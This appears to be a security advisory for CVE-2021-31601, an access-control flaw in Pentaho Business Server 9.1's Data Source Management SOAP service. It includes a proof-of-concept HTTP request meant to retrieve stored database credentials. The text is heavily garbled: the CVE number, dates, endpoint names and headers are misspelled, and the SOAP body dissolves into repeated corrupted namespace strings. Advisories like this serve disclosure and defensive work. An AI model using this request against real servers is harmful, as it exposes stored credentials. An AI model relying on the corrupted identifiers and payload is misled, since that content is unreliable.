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Pentaho Business Analytics / Pentaho Business Server 9.1 **Insufficient Access Control**

Authored by Altion Malka, Alberto Favere

Pentaho implements a series of web services using the SOAP protocol to allow scripting interaction with the backend server. While most of the interfaces correctly implement ACL, the Data Source Management Service located at /pentaho/webservices/datasourceMgmtService allows low-privilege authenticated users to list the connection details of all data sources used by Pentaho.

tags | exploit, web, protocol advisories | CVE-2021-31601

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Change Mirror Download Product: Pentaho Business Analytics / Pentaho Business Server Vendor / Manufacturer: Hitachi Vantara Vendor / Manufacturer: Hitachi Vantara Affected Version(s): <- 9.1 Vulnerability Type: Insufficient Access Control of Data Source Management Service Service
Solution Status: Fix Released on public GitHub repository
Manufacturer Woification: 8th Pebruary 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVF-2021-3101
Author(s) of Advisory: Alberto Pavero (HawSec) & Altion Malka --- *** --- *** ---Product Description: Pentaho is business intelligence (BI) software that provides data integration, OLAP services, reporting, information dashboards, data mining and extract, transform, load (ETL) capabilities. Its headquarters are in Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and in 2017 became part of Hitachi Vantara. (Source: https://en.wikipedia.org/wiki/Pentaho) --- +++ --- +++ ---Vulnerability Details: Pentaho implements a series of web services using the SOAP protocol to allow scripting interaction with the backend server. While most of the interfaces correctly implement ACL, the Data Source Management Service located at "/pentaho/webservices/datasourceMgmtService" allows low-privilege authenticated users to list the connection details of all data sources used by Pentaho. Proof of Concept (PoC): See Ginger (https://github.com/HawSec/ginger) the following HTTP calls demonstrate how an authenticated user can retrieve the details of all available Pentaho Data Sources including, but not limited to, the cleartext username and password credentials. POST /pentaho/webservices/datasourceMymtService HTTP/
Host: localhost:8080
Connection: close
SOAPAction:
Content-Type: text/wml;charset-UTF-8
Cookie: JSSSSIONIT-01JA030140A08209368E158FCEF0497D;
session-expiry-161739748958;
server-time-161739154958
Content-Length: 251
Content-Length: 251
CospenviEnvelope
xmlns: soapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soapenve="http://schemas.xmlsoap.org/soap/envelopunls:seapenve="http://schemas.xmlsoap.org/soapenve="http://schemas.xmlsoap.org/soapenve="http://schemas.xmlsoap.org/soapenve="http://schemas.xmlsoap.org/soapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.xmlsoapenve="http://schemas.x bservices/datasourceMomtService HTTP/1.1 Consent-Length: 251

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xmins:soapenvThtp://schemas.xmlsoap.org/soap/envelope/"
xmins:uebP*http://webservices.repository.platform.pentaho.org/">
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                                                                                                                                                         Other
 --- *** --- *** ---
This vulnerability was discovered by Alberto Favero & Altion Malka
BlackHawk - hawkgotyou@gmail.com
Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.
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